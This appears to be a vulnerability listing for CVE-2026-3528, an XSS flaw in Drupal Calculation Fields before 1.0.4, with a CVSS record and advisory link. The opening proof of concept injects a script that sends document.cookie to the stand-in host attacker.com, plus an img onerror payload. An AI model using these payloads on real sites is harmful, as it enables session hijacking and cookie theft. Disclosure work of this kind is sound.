CVE-2026-3528

<!-- Proof of Concept (PoC) for CVE-2026-3528 Target: Drupal Calculation Fields < 1.0.4 Description: Inject a basic XSS payload into the calculation field. --> <!-- Malicious Payload to be injected --> <script> // Example: Steal document cookie fetch('https://attacker.com/log?c=' + document.cookie); alert('CVE-2026-3528 XSS Executed'); </script> <!-- Or using an image tag to execute JS --> <img src=x onerror=alert('XSS')>

{"cve": {"id": "CVE-2026-3528", "sourceIdentifier": "[email protected]", "published": "2026-03-26T21:17:08.890", "lastModified": "2026-04-01T15:44:18.650", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation (\"Cross-site Scripting\") vulnerability in Drupal Calculation Fields allows Cross-Site Scripting (XSS).This issue affects Calculation Fields: from 0.0.0 before 1.0.4."}, {"lang": "es", "value": "La vulnerabilidad de Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') en Drupal Calculation Fields permite cross-site scripting (XSS). Este problema afecta a Calculation Fields: desde 0.0.0 anterior a 1.0.4."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:joaopaulocdev:calculation_fields:*:*:*:*:*:drupal:*:*", "versionEndExcluding": "1.0.4", "matchCriteriaId": "6C1B61DD-8278-4590-8D64-57E4F3F13C76"}]}]}], "references": [{"url": "https://www.drupal.org/sa-contrib-2026-023", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}